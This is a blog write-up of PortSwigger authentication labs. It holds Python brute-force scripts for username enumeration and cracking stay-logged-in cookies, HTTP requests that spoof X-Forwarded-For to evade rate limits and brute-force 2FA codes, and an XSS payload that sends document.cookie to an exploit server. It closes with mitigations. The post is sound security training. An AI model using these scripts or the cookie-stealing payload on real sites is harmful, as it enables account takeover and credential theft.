Post

Authentication vulnerabilities

Authentication vulnerabilities

auth

Intro

Authentication is the front door to your application - and like any door, if it’s weak or poorly secured, attackers will break in. From brute-force attacks and credential stuffing to logic flaws and insecure token handling, authentication vulnerabilities remain one of the most exploited issues in web security. In this post, we’ll dive into the most common authentication weaknesses together with Portswigger labs.

Vulnerabilities in password-based login labs (Apprentice)

Lab: Username enumeration via different responses

  • Find a correct username and after that - a correct password (intruder will be enough for that)

Lab: Password reset broken logic

  • Click Forgot password, provide wiener’s email, follow the link from the email, send this request to Repeater and update username …

Vulnerabilities in password-based login (Practitioner)

Lab: Username enumeration via subtly different responses

  • Start the same but in the Settings -> Auto-pause attack add Invalid username or password. (to stop if this will not appearing)
  • Once it will stopped - pay attention that in the response there is slightly different answer - no dot presented
  • Run regular sniper attack on password like in the previous lab

Lab: Username enumeration via response timing

  • Hint - To add to the challenge, the lab also implements a form of IP-based brute-force protection. However, this can be easily bypassed by manipulating HTTP request headers (X-Forwarded-For)

  • Send login request to the intruder, set reeeeealy long password and let’s brute force using Pitchfork attack wrhere 1 param - X-Forwarded-For and second one - username:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /login HTTP/2
Host: 0a260086036b54928379879b001f00fd.web-security-academy.net
Cookie: session=wwGcnB1hCOqq4VoQYg87wn8Bsp2pIqxQ
Content-Length: 27
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a260086036b54928379879b001f00fd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a260086036b54928379879b001f00fd.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
X-Forwarded-For: 1.2.3.§1§

username=§test§&password=testntaorisntaoirsntairsntoairnstiarntiaroenstaiornstiaorsntaiorsntiarsntiarosntioarenstiarenstiranstarisntaiorntirsirsnatisarntirs

  • Check for the longest response, this will be your username, and next do same attack but for password use password=§test§ and look for 302 response code.

Lab: Broken brute-force protection, IP block

  • After checking the functionality we see that system blocking our IP after 3 wrong attemps, but if we try to run 2 attempts for brute-force and then doing one login for our known wiener user , the system is not blocking us
  • Prepare list of users for bruteforcing, something like this:
1
2
3
4
5
wiener
carlos
carlos
wiener
...
  • Prepare list of passwords:
1
2
3
4
5
peter
12345
admini
peter
...
  • And run a Pitchfork attack next just look for a 302 code

Lab: Username enumeration via account lock

  • So this was a place where I stuck even after opened solution - first thing - intruder was so slow that I waited really a lot of time aaand in the end was nothing - all responses had the same length, so I wrote a simple python script to brute force it faster:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
from concurrent.futures import ThreadPoolExecutor


requests.packages.urllib3.disable_warnings()

TARGET_URL = 'https://0a760088037f11c980d4f87700540025.web-security-academy.net/login'

cookies = {
    'session': 'EwN1x3d5kTXnGwQ5L6G6VYtBBvi5gnQx',
}

headers = {
    'Host': '0a760088037f11c980d4f87700540025.web-security-academy.net',
    'Content-Type': 'application/x-www-form-urlencoded',
}

usernames = [
    "carlos", "root", "admin", "test", "guest", "info", "adm", "mysql", "user", "administrator",
    "oracle", "ftp", "pi", "puppet", "ansible", "ec2-user", "vagrant", "azureuser", "academico", "acceso",
    "access", "accounting", "accounts", "acid", "activestat", "ad", "adam", "adkit", "admin", "administracion",
    "administrador", "administrator", "administrators", "admins", "ads", "adserver", "adsl", "ae", "af",
    "affiliate", "affiliates", "afiliados", "ag", "agenda", "agent", "ai", "aix", "ajax", "ak",
    "akamai", "al", "alabama", "alaska", "albuquerque", "alerts", "alpha", "alterwind", "am", "amarillo",
    "americas", "an", "anaheim", "analyzer", "announce", "announcements", "antivirus", "ao", "ap", "apache",
    "apollo", "app", "app01", "app1", "apple", "application", "applications", "apps", "appserver", "aq",
    "ar", "archie", "arcsight", "argentina", "arizona", "arkansas", "arlington", "as", "as400", "asia",
    "asterix", "at", "athena", "atlanta", "atlas", "att", "au", "auction", "austin", "auth",
    "auto", "autodiscover"
]
passwords = ['test']

def brute_force(username, password):
    for i in range(10):
        try:
            response = requests.post(
                TARGET_URL,
                cookies=cookies,
                headers=headers,
                data={'username': username},
                verify=False,
                timeout=5
            )
            if len(response.text) != 3132:
                print(username)
            #print(f"[{username}] Try {i+1}/10 - Status: {response.status_code}, Length: {len(response.text)}")
        except requests.RequestException as e:
            print(f"[{username}] Error: {e}")

with ThreadPoolExecutor(max_workers=20) as executor:
    _ = [executor.submit(brute_force, u, 'test') for u in usernames]

  • So after I noticed that all (almost all) responses.text were 3132 (in my case) length, I decided to just print one with another length and use it for the next step - running sniper attack for this user, which was pretty fast actually

Vulnerabilities in MFA (Apprentice)

Lab: 2FA simple bypass

  • Investigate how 2fa works - try to login via your credentials and use Email to authenticate to your account, pay attention to URL, log out
  • Login as carlos and instead of trying to gues 4 numbers just update URL similar to yours but with id=carlos

Vulnerabilities in MFA (Practitioner)

Lab: 2FA broken logic

  • Login as wiener and send request to a repeater
  • Update requst to have wiener->carlos when you are sending this request it means that carlos will get mfa-code to his email:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /login2 HTTP/2
Host: 0a9c003d04e7953b819b0c2100cb00bb.web-security-academy.net
Cookie: verify=carlos; session=a37FxeQMvEbP7pQxWjf30qTHpAx3phKf
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a9c003d04e7953b819b0c2100cb00bb.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9c003d04e7953b819b0c2100cb00bb.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
  • When you previously logged in as wiener you also got a mfa-code and can send your requst to intruder, updating verify to carlos, and now we could try to brute force mfa-code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /login2 HTTP/2
Host: 0a9c003d04e7953b819b0c2100cb00bb.web-security-academy.net
Cookie: verify=wiener; session=a37FxeQMvEbP7pQxWjf30qTHpAx3phKf
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a9c003d04e7953b819b0c2100cb00bb.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9c003d04e7953b819b0c2100cb00bb.web-security-academy.net/login2
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

mfa-code=1610
  • So we know that in this lab will be work around stay-logged-in session cookie, after some investigation I find out it is base64 encoded username with password (under md5 hash)
  • After successful login we are able to Update email, so let it be our marker …
  • My python solution of this lab:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
import hashlib
import requests

from concurrent.futures import ThreadPoolExecutor

NAME = "carlos"

passwords = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111",
    "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein",
    "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael",
    "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe",
    "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster",
    "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster",
    "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn",
    "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753",
    "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love",
    "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321",
    "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor",
    "monitoring", "montana", "moon", "moscow"
]

md5_hashes = [hashlib.md5(passwd.encode()).hexdigest() for passwd in passwords]
base64_encoded = [base64.b64encode(f"{NAME}:{passwd}".encode()).decode() for passwd in md5_hashes]


def send_request(session):
    url = f"https://0a3b00ce0424188e8119179f00120001.web-security-academy.net/my-account?id={NAME}"
    try:
        cookie = {
            "stay-logged-in": session,
            "session": "UQAskohyHhb9awZmWFoYPSBnirn8AzqR"
        }
        response = requests.get(url, cookies=cookie)

        if "Update email" in response.text:
            username, password = (base64.b64decode(session).decode()).split(':')
            print(f"[+] Got it with: {session}")
            username, md5_hash_password = (base64.b64decode(session).decode()).split(':')
            password = ''
            for pwd in passwords:
                hashed = hashlib.md5(pwd.encode()).hexdigest()
                if hashed == md5_hash_password:
                    password = pwd
                    print(f"[+] Password match found: {pwd}")
                    break
            print(f"{username=} : {password=}")

    except Exception as e:
        print(f"[!] Error with {session}: {e}")

with ThreadPoolExecutor(max_workers=20) as executor:
    executor.map(send_request, base64_encoded)

Lab: Offline password cracking

  • We know that comment section vulnerable to XSS, so we can use payload like this:
1
2
3
<script>
    document.location='https://exploit-0a4f006103ffb36380a2029b0128007f.exploit-server.net/'+document.cookie
<script>
  • Decode base64 cookie and use https://crackstation.net/ to crack a password

Lab: Password brute-force via password change

  • When we want to update password we are providing username in a hidden field, so what we could do:
  • Send request to intruder
  • Update name to carlos, new_password_1 and new_password_2 should be different! (because of how logic handled -first current_password checked and after that - new passwords compared, so if we gues current_password it will fail with another error)
  • If we have wrong current_password - response will have Current password is incorrect, otherwise - New passwords do not match
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /my-account/change-password HTTP/2
Host: 0a2a0096038f82e185677284006a005a.web-security-academy.net
Cookie: session=yXCJUvKVv5feScBZV31oUNKYjz82sIPG
Content-Length: 80
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a2a0096038f82e185677284006a005a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2a0096038f82e185677284006a005a.web-security-academy.net/my-account/change-password
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

username=carlos&current-password=peter&new-password-1=peterr&new-password-2=dast

Common Authentication Vulnerabilities & Mitigations

  • Brute-force Attacks (ex: Attacker guesses passwords using automation.) Mitigations:
    • Implement rate limiting or exponential backoff.
    • Use CAPTCHAs after several failed attempts.
    • Lock account temporarily after too many failures.
    • Monitor and alert on suspicious login patterns.
  • Credential Stuffing (ex: Using leaked credentials from other sites.) Mitigations:
    • Detect and block known breached passwords (e.g., haveibeenpwned API).
    • Enforce multi-factor authentication (MFA).
    • Monitor for login anomalies (geolocation, device fingerprinting).
  • Weak Password Policies (ex: Users set “123456” as their password.) Mitigations:
    • Enforce strong password complexity and length.
    • Use password blacklists (e.g., disallow “password”, “admin”).
    • Educate users on password best practices.
    • Consider passphrases (e.g., “BlueMonkeyInParis2024”).
  • Missing Multi-Factor Authentication (MFA) (ex: Compromised password leads to full account access.) Mitigations:
    • Always require MFA for critical actions and admin accounts.
    • Prefer TOTP (Time-based OTP), push-based, or hardware keys over SMS-based MFA.
  • Session Fixation or Hijacking (ex: Attacker steals or sets session ID.) Mitigations:
    • Regenerate session ID after login.
    • Use HttpOnly, Secure, and SameSite flags on cookies.
    • Use strong random session tokens.
    • Implement session timeout and inactivity logout.
  • User Enumeration (ex: Login error reveals whether username exists.) Mitigations:
    • Use generic error messages like “Invalid username or password.”
    • Throttle or block repeated failed logins regardless of username validity.
  • Insecure Password Storage (ex: Plaintext passwords in the database.) Mitigations:
    • Never store plaintext passwords.
    • Use strong hashing algorithms like bcrypt, scrypt, or Argon2 with a unique salt per password.
    • Regularly review and upgrade hashing algorithms as needed.
  • Bypassing Authentication Logic (ex: SQL injection, logic flaws, or forced browsing.) Mitigations:
    • Use parameterized queries to prevent SQLi.
    • Implement access control checks on the backend - never rely solely on hidden form fields or client-side checks.
    • Use secure frameworks with battle-tested authentication modules.
  • Authentication Token Vulnerabilities (ex: JWT with none algorithm or long-lived tokens.) Mitigations:
    • Validate JWT signatures correctly; disallow none algorithm.
    • Use short-lived tokens and refresh tokens for longer sessions.
    • Store tokens securely (avoid localStorage for XSS-prone apps).
  • Insecure OAuth / SSO Implementations (ex: Lack of state parameter, misconfigured scopes.) Mitigations:
    • Always validate the state parameter to prevent CSRF.
    • Ensure correct redirect URIs are enforced.
    • Scope tokens minimally - least privilege principle.

Additional Best Practices

  • Use framework-provided authentication libraries.
  • Log all authentication attempts (success & failure).
  • Perform regular security audits and penetration tests.
  • Educate users on phishing and social engineering.
This post is licensed under CC BY 4.0 by the author.